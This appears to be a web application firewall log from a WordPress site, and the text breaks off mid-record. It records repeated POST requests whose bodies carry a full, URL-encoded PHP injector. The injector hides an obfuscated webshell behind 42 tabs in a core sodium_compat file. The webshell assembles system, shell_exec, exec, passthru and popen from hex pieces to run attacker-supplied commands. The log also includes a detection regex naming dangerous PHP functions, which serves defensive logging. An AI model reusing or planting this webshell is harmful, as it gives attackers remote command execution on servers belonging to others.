3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6134\n\nRW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:36","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqSxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6134\n\ntY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:39","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524binding_parameter_group%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524binding_parameter_group%2529%257B%2524property_set_rec%253D%2524api_gateway6%2528%2524binding_parameter_group%2529%253B%2524api_gateway7%2528%2524binding_parameter_group%2529%253Bprint%2520%2524property_set_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIxLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6134\n\nVF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%252773%2527%253B%2524hld2%2520%253D%2520%252765%2527%253B%2524hld3%2520%253D%2520%25276d%2527%253B%2524hld4%2520%253D%2520%25276c%2527%253B%2524hld5%2520%253D%2520%25275f%2527%253B%2524hld6%2520%253D%2520%252763%2527%253B%2524hld7%2520%253D%2520%252761%2527%253B%2524hld8%2520%253D%2520%252775%2527%253B%2524hld9%2520%253D%2520%252770%2527%253B%2524hld10%2520%253D%2520%25276e%2527%253B%2524hld11%2520%253D%2520%252774%2527%253B%2524hld12%2520%253D%2520%25276f%2527%253B%2524hld13%2520%253D%2520%252764%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1.%252779%2527.%252773%2527.%252774%2527.%2524hld2.%2524hld3%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524hld4.%2524hld4.%2524hld5.%252765%2527.%252778%2527.%252765%2527.%2524hld6%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%252778%2527.%252765%2527.%252763%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld7.%252773%2527.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524hld8%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld9.%25276f%2527.%2524hld9.%252765%2527.%2524hld10%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524hld11.%252772%2527.%252765%2527.%252761%2527.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524hld5.%252763%2527.%2524hld12.%2524hld10.%2524hld11.%252765%2527.%25276e%2527.%2524hld11.%252773%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%2524hld6.%2524hld4.%25276f%2527.%2524hld1.%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252771%2527.%252775%2527.%252765%2527.%252772%2527.%252779%2527.%25275f%2527.%252768%2527.%2524hld7.%2524hld10.%2524hld13.%25276c%2527.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524factor_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_reference%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%25